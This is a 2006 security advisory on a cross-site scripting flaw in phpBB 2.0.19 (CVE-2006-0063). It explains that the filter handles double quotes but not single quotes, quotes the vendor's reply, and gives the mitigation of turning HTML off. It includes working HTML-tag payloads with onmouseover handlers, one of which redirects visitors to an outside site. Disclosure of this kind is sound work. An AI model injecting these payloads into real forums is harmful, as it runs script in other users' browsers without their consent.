Topic:	phpBB 2.0.19 XSS
Author:	Maksymilian Arciemowicz
Date:	2006.01.05
Risk:	Medium
Local:	No
Remote:	Yes

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[phpBB 2.0.19 XSS cXIb8O3.23]

Author: Maksymilian Arciemowicz (cXIb8O3)
Date: 6.1.2006
from CXSecurity.Com
CVE : CVE-2006-0063

- --- 0.Description ---
phpBB is a high powered, fully scalable, and highly customizable Open Source bulletin board package. phpBB has a
user-friendly interface, simple and straightforward administration panel, and helpful FAQ. Based on the powerful PHP
server language and your choice of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers, phpBB is the ideal free
community solution for all web sites.
Contact with author http://www.phpbb.com/about.php.

- --- 1. XSS ---
If in phpbb is Allowed HTML tags "ON" like b,i,u,pre and have you in profile "Always allow HTML:
YES" or are you Guest

This issue is in phpBB 2.0.19 .
Some Details :
Old exploit for x <= 2.0.18 was (http://cxsecurity.com/research/29) :
<B C=">" onmouseover="alert('CXSecurity.Com')" X="<B "> H E L O </B>

New exploit for x <= 2.0.19 is :
<B C='>' onmouseover='alert("CXSecurity.Com")' X='<B '> CXSecurity.Com </B>

The exploits are simillar but not the same ! As you can notice the " is replaced to '
In new version phpBB they only filter " but not '

that you can use this tags:

<B C='>' onmouseover='alert("CXSecurity.Com")' X='<B '> CXSecurity.Com </B>

Exploit:

<B C='>' onmouseover='alert(document.location="http://CXSecurity.Com")' X='<B '> CXSecurity.Com
</B>


- ---
CXSecurity Note :

According to http://www.phpbb.com/phpBB/viewtopic.php?t=352966
[Sec] fixed XSS issue (only valid for Internet Explorer) within the url bbcode
[Sec] fixed XSS issue (only valid for Internet Explorer) if html tags are allowed and enabled
CXSecurity tested this issue before public advisory :
http://cxsecurity.com/research/29
and the XSS is working on :

- -> Mozilla
- -> Internet Explorer ( so !not! only valid Internet Explorer)
- -> Opera
- -> Firefox
- -> Links
As proof CXSecurity show examples of working XSS on screens :
http://cxsecurity.com/downloads/mozilla.png -> Mozilla
http://cxsecurity.com/downloads/opera.png -> Opera
http://cxsecurity.com/downloads/firefox.png -> Firefox
http://cxsecurity.com/downloads/links.png -> Links
- ---

We have reported this bug to phpbb bugtraq and:

phpBB Team respone :
- --------------------
...
we do not intended to fix the previous issue in 2.0.19 (it was just preventing it by the quote change, which was good -
but we intended this change
because of other forseeable issues) - and i do not intend to fix this one. HTML is and was always "bad" and
has been stated as being
able to be entered "as is". In olympus we will therefore remove html support completely
...
- --------------------


So Solusion is:

phpBB Team respone :
- -------------------
I already said we will fix it in CVS but do not see the need to release a new version immediatly.
- -------------------

So there is no fix for this .
Only way to protect is :

Allow HTML = Off

- --- 2. Greets ---
sp3x

- --- 3.Contact ---
Author: CXSecurity.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: max [at] jestsuper [dot] pl or cxib [at] cxsecurity [dot] com
GPG: http://cxsecurity.com/key/Arciemowicz.Maksymilian.gpg
CXSecurity.Com
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